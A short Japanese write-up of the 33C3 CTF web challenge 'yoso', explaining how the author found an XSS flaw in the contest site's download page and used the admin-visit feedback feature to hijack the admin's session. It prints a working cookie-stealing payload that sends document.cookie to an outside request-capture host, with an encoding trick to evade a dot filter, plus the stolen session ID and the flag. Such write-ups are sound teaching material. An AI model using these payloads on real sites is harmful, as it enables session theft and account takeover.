33C3 CTF: yoso
深夜まで必死で粘ってなんとか倒した。達成感があった。
problem
一括検索 + 検索履歴保存のサービス。そしてadminはflagについて検索するのが好きとのこと。
solution
/register.php
//login.php/
logout.php`: 何もなさそう/search.php
: 検索ができる/bookmark.php
: POSTすればzipが鯖上に生成される/download.php
: そのzipを削除しつつ取得/feedback.php
: linkを送ると鯖上で踏んでjsを実行してくれる
/feedback.php
から/bookmark.php
にPOSTして出きたzipを奪うのが思い付くが、/bookmark.php
はCSRF tokenを持つのでだめ。
しかし/download.php
にはXSSの脆弱性を持つので、これを踏ませてsession hijackにする。
実行させたいjavascriptは以下。
location.href = "http://requestb.in/18o1k6g1?" + document.cookie;
しかし/download.zip
では..
を防ぐのと兼ねて.
が消去される。なので文字列に持ちあげてeval
する。
XSSはhttp://78.46.224.80:1337/download.php?zip=%3Cmarquee%3EXSS%3C/marquee%3Eみたいに仕込める。
eval("location\x2ehref=\"http://requestb\x2ein/18o1k6g1?\"+document\x2ecookie;")
http://78.46.224.80:1337/download.php?zip=<script>eval("location\x2ehref=\"http://requestb\x2ein/18o1k6g1?\"+document\x2ecookie;")</script>
得られたのはPHPSESSID=c5u3mgfndm4u241ji3ad9bajn1
。
結局CSRF tokenは破れず。
flag: 33C3_lol_wHo_needs_scr1pts_anyway